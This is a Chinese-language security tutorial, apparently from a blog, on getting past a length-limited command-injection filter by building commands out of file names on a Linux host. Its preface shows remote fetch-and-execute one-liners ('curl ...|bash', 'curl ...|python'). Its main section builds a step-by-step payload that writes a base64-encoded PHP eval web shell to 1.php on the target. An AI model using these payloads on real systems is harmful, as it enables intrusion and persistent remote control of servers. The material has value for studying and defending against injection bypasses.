本文作者:是大方子(Ms08067实验室核心成员)
﹀
﹀
﹀
01
前言
curl 10.188.2.20|bash curl orange.tw|python
02
预备知识
通过>来创建文件
通过ls的-t(从晚到早)参数来基于时间来排序文件
sh a 会把文件a里面的内容当作命令来执行
使用来进行命令拼接
通过base64来避免特殊字符
输入通配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>id >root * (等同于命令:id root)
>ls >lss >lsss >1 *s (等同于命令:ls lss lsss)
联合知识点⑦,通过rev来倒置输出内容
>rev echo 1234 > v *v (等同于命令:rev v)
通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置,我们之后需要用到rev倒置输出。所以需要列出这样形式的文件名
0> t‐ sl
>0> >t‐ >sl
所以要增加-h来把-t往前拉
>0> >ht‐ >sl
用dir来代替ls不换行输出,先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行
看下dir的效果,会不换行输出到文件中去
使用${IFS}来代替空格
03
正式开始
ls ‐th >f
所以payload如下
>dir
>f>
>ht‐
>sl
*>v (等同于命令:dir "f>" "ht‐" "sl" > v)
>rev*v>0
(等同于命令:rev v > 0)(0里面的内容为:ls ‐th >f)
这样我们的payload第一部分已经写完,接下来我们需要把这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换。否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的
echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可
然后我们需要让sh先执行0文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下
python脚本
04
演示效果
本文作者:Ms08067安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/120302.html